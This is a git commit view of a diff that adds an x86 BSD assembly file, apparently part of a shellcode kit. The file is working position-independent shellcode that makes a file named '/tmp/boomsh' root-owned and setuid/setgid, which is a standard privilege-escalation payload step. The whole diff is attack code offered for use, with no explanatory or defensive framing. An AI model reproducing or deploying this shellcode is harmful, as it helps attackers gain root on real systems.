diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/x86_bsd/FIXME_chmod.s | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'other/shellkit/x86_bsd/FIXME_chmod.s')
| -rw-r--r-- | other/shellkit/x86_bsd/FIXME_chmod.s | 43 |
1 files changed, 43 insertions, 0 deletions
diff --git a/other/shellkit/x86_bsd/FIXME_chmod.s b/other/shellkit/x86_bsd/FIXME_chmod.s new file mode 100644 index 0000000..6f19d23 --- /dev/null +++ b/other/shellkit/x86_bsd/FIXME_chmod.s | |||
| @@ -0,0 +1,43 @@ | |||
| 1 | /* x86/BSD PIC local chmod code | ||
| 2 | * | ||
| 3 | * by stealth | ||
| 4 | */ | ||
| 5 | |||
| 6 | .globl cbegin | ||
| 7 | .globl cend | ||
| 8 | |||
| 9 | cbegin: | ||
| 10 | jmp boomsh | ||
| 11 | |||
| 12 | foo: popl %ebx | ||
| 13 | incl (%ebx) | ||
| 14 | incl 4(%ebx) | ||
| 15 | |||
| 16 | xorl %eax, %eax | ||
| 17 | movb %al, 11(%ebx) | ||
| 18 | |||
| 19 | movb $16, %al /* chown */ | ||
| 20 | xorl %ecx, %ecx | ||
| 21 | pushl %ecx | ||
| 22 | pushl %ecx | ||
| 23 | pushl %ebx | ||
| 24 | pushl $1 | ||
| 25 | sys_1: int $0x80 | ||
| 26 | |||
| 27 | xorl %eax, %eax /* chmod */ | ||
| 28 | movb $15, %al | ||
| 29 | pushw $06755 | ||
| 30 | pushl %ebx | ||
| 31 | pushl $1 | ||
| 32 | sys_2: int $0x80 | ||
| 33 | |||
| 34 | xorl %eax, %eax | ||
| 35 | incl %eax /* exit */ | ||
| 36 | pushl $1 | ||
| 37 | sys_3: int $0x80 | ||
| 38 | |||
| 39 | boomsh: call foo | ||
| 40 | .string ".tmp.boomsh."; | ||
| 41 | cend: | ||
| 42 | |||
| 43 | |||
